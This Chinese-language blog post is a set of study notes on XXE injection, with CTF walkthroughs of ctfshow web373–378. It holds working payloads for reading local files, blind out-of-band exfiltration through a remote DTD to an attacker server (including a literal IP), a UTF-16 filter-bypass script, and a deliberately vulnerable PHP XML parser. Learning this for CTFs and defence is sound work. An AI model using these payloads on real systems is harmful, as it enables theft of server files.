本文最后更新于 2024年6月29日 下午
前言:深入浅出的学习一下xxe漏洞
参考文章:
一篇文章带你深入理解漏洞之 XXE 漏洞
XXE漏洞详解(全网最详细)
【CTF-Web】XXE学习笔记
一、XXE 是什么
在了解xxe之前,需要了解一下xml注入,通常都是逻辑漏洞,如下内容
能插入xml代码,肯定还想要更多骚操作,于是就出现了xxe
XXE(XML External Entity Injection) 全称为 XML 外部实体注入,是一个注入漏洞。注意的是外部实体,不要被其他名字相似的东西扰乱了思维。
二、基础知识
XXE漏洞原理
漏洞成因:解析时未对XML外部实体加以限制,导致攻击者将恶意代码注入到XML中,导致服务器加载恶意的外部实体引发文件读取,SSRF,命令执行等危害操作。
特征:HTTP的Request报文出现以下请求报文,说明采用的是xml数据传输,可以进行xml测试漏洞
1
| Content-type:text/xml application/xml
|
XML的基础知识
语法:
1 2 3 4 5
| XML 指可扩展标记语言(EXtensible Markup Language) XML 是一种标记语言,很类似 HTML XML 被设计为传输和存储数据,其焦点是数据的内容 XML 被设计用来结构化、存储以及传输信息 XML 允许创作者定义自己的标签和自己的文档结构
|
结构:
1 2 3
| 1.XML 文档声明,在文档的第一行 2.XML 文档类型定义,即DTD,XXE 漏洞所在的地方 3.XML 文档元素
|
格式规范DTD:
XML 文档有自己的格式规范,这个格式规范是 DTD(document type definition) 来控制的,如下
1 2 3 4 5 6 7
| <?xml version="1.0"?>//这一行是 XML 文档定义 <!DOCTYPE message [ <!ELEMENT message (receiver ,sender ,header ,msg)> <!ELEMENT receiver (#PCDATA)> <!ELEMENT sender (#PCDATA)> <!ELEMENT header (#PCDATA)> <!ELEMENT msg (#PCDATA)>
|
上面这个 DTD 就定义了 XML 的根元素是 message,然后跟元素下面有一些子元素,那么 XML 到时候必须像下面这么写
1 2 3 4 5 6
| <message> <receiver>Myself</receiver> <sender>Someone</sender> <header>TheReminder</header> <msg>This is an amazing book</msg> </message>
|
除了定义元素,还可以定义实体,分为内部实体和外部实体
内部实体
1 2 3 4
| <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe "test" >]>
|
这里定义元素是ANY,说明接受任何元素,但是又定义了一个实体(也可以把他看成一个变量),那么就可以写作这样
我们使用了&xxe对上面定义的xxe实体进行了引用,到时候输出的时候&xxe就会被test替代。
外部实体(重点)
有SYSTEM和PUBLIC两个关键字,表示实体来自本地计算机还是公共计算机,
外部实体的引用可以利用如下协议
file:///path/to/file.ext
http://url/file.ext
php://filter/read=convert.base64-encode/resource=conf.php
比如
1 2 3 4 5 6 7 8
| <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///c:/test.dtd" >]> <creds> <user>&xxe;</user> <pass>mypass</pass> </creds>
|
这样对引用资源所做的任何更改都会在文档中自动更新
还有一种引用方式是使用 引用公用 DTD的方法,如下内容
1 2 3 4 5 6 7 8 9 10
| <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY % xxe SYSTEM "http://xxx.xxx.xxx/evil.dtd" > %xxe; ]> <foo>&evil;</foo> 外部evil.dtd中的内容 <!ENTITY evil SYSTEM “file:///d:/1.txt” >
|
%xxe执行后会加载外部实体 evil.dtd 并执行,得到的结果会放在<foo></foo>中。
我们在上面将实体分为了内部和外部,但是实际情况上,也可以分为通用实体和参数实体(orz
通用实体
用 &实体名; 引用的实体,他在DTD 中定义,在 XML 文档中引用,例如
1 2 3 4 5 6 7 8 9
| <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE updateProfile [ <!ENTITY file SYSTEM "file:///c:/windows/win.ini"> ]> <updateProfile> <firstname>Joe</firstname> <lastname>&file;</lastname> ... </updateProfile>
|
参数实体
(1)使用 % 实体名
(这里面空格不能少) 在 DTD 中定义,并且只能在 DTD 中使用 %实体名;
引用
(2)只有在 DTD 文件中,参数实体的声明才能引用其他实体
(3)和通用实体一样,参数实体也可以外部引用
1 2 3
| <!ENTITY % an-element "<!ELEMENT mytag (subtag)>"> <!ENTITY % remote-dtd SYSTEM "http://somewhere.example.org/remote.dtd"> %an-element; %remote-dtd;
|
参数实体在我们 Blind XXE 中起到了至关重要的作用
三、XXE漏洞利用
通过对基础知识的理解,我们不难发现可以通过读dtd,将路径换成敏感路径,把敏感路径读取出来
有回显读取本地文件
由于本人php版本高于7.1需要将代码进行适当的调整,如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| <?php
error_reporting(E_ALL); ini_set('display_errors', 1);
libxml_disable_entity_loader(false);
$xmlString = $_GET['xml'];
$xml = simplexml_load_string($xmlString, null, LIBXML_NOENT);
if ($xml === false) { echo "Failed to load XML. Errors: "; foreach(libxml_get_errors() as $error) { echo "<br>", $error->message; } } else { echo "Parsed XML: "; echo htmlspecialchars((string)$xml); } ?>
|
payload进行url编码
1 2 3 4
| <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root [ <!ENTITY file SYSTEM "file:///D://1.txt">]> <root>&file;</root>
|
由此还可以继续延申,在这种情况下由于没有什么特殊符号,可以顺利读取,那假如有呢
比如
我们再继续尝试看看网页,此时会有一堆报错
这个时候可以使用CDATA
介绍:CDATA节中所有的字符都会被当做元素字符数据的常量部分,而不是xml标记
因此可以尝试把读出来的数据放在CDATA中输出进行绕过,这里会用到参数实体,payload就不展示了,感兴趣可以自己尝试。
无回显读取本地文件
加载远程DTD
在远程服务器上新建test.dtd
1 2
| <!ENTITY % payload "<!ENTITY % send SYSTEM 'http://xxx.xxx.xxx.xxx/?content=%file;'>"> %payload; //%号要进行实体编码成%
|
构造payload
1 2 3 4 5 6 7
| <?xml version="1.0"?> <!DOCTYPE test[ <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=D:/1.txt"> <!ENTITY % dtd SYSTEM "http://xxx.xxx.xxx.xxx/test.dtd"> %dtd; %send; ]>
|
讲一下流程:首先先执行%dtd请求远程服务器上的test.dtd,然后执行%payload发送执行%file,最后执行%file获取对方服务器上的敏感文件,替换%send,实现外带
套用模板
1 2 3 4 5 6 7 8 9 10
| <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE data [ <!ENTITY % file SYSTEM "file:///c://test/1.txt"> <!ENTITY % dtd SYSTEM "http://localhost:88/evil.xml"> %dtd; %all; ]> <value>&send;</value> evil.xml文件内容为 <!ENTITY % all "<!ENTITY send SYSTEM 'http://localhost:88%file;'>">
|
1 2 3 4 5 6 7 8 9 10 11
| <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root [ <!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=c:/test/1.txt"> <!ENTITY % dtd SYSTEM "http://localhost:88/evil.xml"> %dtd; %send; ]> <root></root> evil.xml文件内容为: <!ENTITY % payload "<!ENTITY % send SYSTEM 'http://localhost:88/?content=%file;'>"> %payload;
|
加载本地DTD
这种在刷题的时候不太常见,可以参考上面的参考文章使用。
四、靶机演练
1.ctfshow web373
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?php error_reporting(0); libxml_disable_entity_loader(false); $xmlfile = file_get_contents('php://input'); if(isset($xmlfile)){ $dom = new DOMDocument(); $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); $creds = simplexml_import_dom($dom); $ctfshow = $creds->ctfshow; echo $ctfshow; } highlight_file(__FILE__);
|
代码大题的意思是读取xml,然后在xml文件中提取ctfshow标签中的内容,随后进行echo
直接尝试构造就行,有回显的还是挺简单的。
1 2 3 4 5 6
| <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///flag" >]> <creds> <ctfshow>&xxe;</ctfshow> </creds>
|
2.ctfshow web374
1 2 3 4 5 6 7 8 9 10
| <?php error_reporting(0); libxml_disable_entity_loader(false); $xmlfile = file_get_contents('php://input'); if(isset($xmlfile)){ $dom = new DOMDocument(); $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); } highlight_file(__FILE__);
|
和第一个比较起来,第二个无回显。这个时候需要vps将内容带出来。
1 2 3 4 5 6 7 8 9 10
| <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE hacker[ <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag"> <!ENTITY % dtds SYSTEM "http://vps:8888/test.dtd"> %dtds; ]> <root> 1 </root>
|
然后在服务器上传test.dtd
1 2 3 4 5
| <!ENTITY % dtd "<!ENTITY % showflag SYSTEM 'http://8.130.42.113:5566/%file;'>"> <!--test.dtd的内容,内部的%号要进行实体编码成% 相当于% showflag--> %dtd; %showflag;
|
先用python开端口监听
然后再开端口接收内容
最后base解密就可以了
流程:首先在burpsuite的repeated页面构造最上面的payload,利用参数实体,调用%dtds,获得服务器上的test.dtd,再到dtd中的%dtd中的%showflag,这里注意%需要进行实体编码%,把内容带出到我们开的端口上面,最后得到flag。
ps:我本地没有配置web服务,所以需要开个http服务,如果有配置的话不需要一些步骤,可以参考其他师傅的wp了解一下。
3.ctfshow web375
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| <?php
/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2021-01-07 12:59:52 # @Last Modified by: h1xa # @Last Modified time: 2021-01-07 15:22:05 # @email: h1xa@ctfer.com # @link: https://ctfer.com
*/
error_reporting(0); libxml_disable_entity_loader(false); $xmlfile = file_get_contents('php://input'); if(preg_match('/<\?xml version="1\.0"/', $xmlfile)){ die('error'); } if(isset($xmlfile)){ $dom = new DOMDocument(); $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); } highlight_file(__FILE__);
|
这题和374其实差不多,多了一层验证,判断是否有 ?xml version=”1.0”,如果有就会爆error
和374流程几乎完全一样只是绕过一下,有两种方法
方法一:
直接去掉就行,会默认是xml文本
方法二:
这里的判断是对整体的判断,中间多加一个空格就可以进行绕过
1
| <?xml version="1.0" encoding="UTF-8"?>
|
其他同374进行
4.ctfshow web376
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| <?php
/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2021-01-07 12:59:52 # @Last Modified by: h1xa # @Last Modified time: 2021-01-07 15:23:51 # @email: h1xa@ctfer.com # @link: https://ctfer.com
*/
error_reporting(0); libxml_disable_entity_loader(false); $xmlfile = file_get_contents('php://input'); if(preg_match('/<\?xml version="1\.0"/i', $xmlfile)){ die('error'); } if(isset($xmlfile)){ $dom = new DOMDocument(); $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); } highlight_file(__FILE__);
|
这题比上面多了一层大小写判断,基本没有影响
就用上面的方法就行
这里的双引号也可以用单引号进行绕过,不多赘叙
5.ctfshow web377
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| <?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2021-01-07 12:59:52 # @Last Modified by: h1xa # @Last Modified time: 2021-01-07 15:26:55 # @email: h1xa@ctfer.com # @link: https://ctfer.com
*/
error_reporting(0); libxml_disable_entity_loader(false); $xmlfile = file_get_contents('php://input'); if(preg_match('/<\?xml version="1\.0"|http/i', $xmlfile)){ die('error'); } if(isset($xmlfile)){ $dom = new DOMDocument(); $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); } highlight_file(__FILE__);
|
这题比上层多了http的绕过,这题看了师傅的绕法
正常使用的是utf-8,我们可以编码为utf-16或者utf-32来进行python发包
直接上payload,这些题目基本是一样的
1 2 3 4 5 6 7 8 9 10 11 12
| import requests url='http://0197db2a-c2a9-49f9-8823-3868d3a6ae77.challenge.ctf.show/' payload=""" <!DOCTYPE hacker[ <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag"> <!ENTITY % dtds SYSTEM "http://vps:8888/test.dtd"> %dtds; ]> <root> 1 </root>""" payload=payload.encode('utf-16') print(requests.post(url,data=payload).text)
|
6.ctfshow web378
f12看看源码定位到了一行
1
| contentType: "application/xml;charset=utf-8"
|
那就是xxe无回显的题目了
简单分析一下,url/doLogin下面进行xxe利用,得到flag,构造username和password
得到flag
还有的例题可以参照我的litctf2024和polarctf2024夏,分别有道考察xxe方面的题目
五、总结
以上是我对xxe的浅层次的学习,虽然题目都不算太难,但也算能入个门了,暂时就到这了。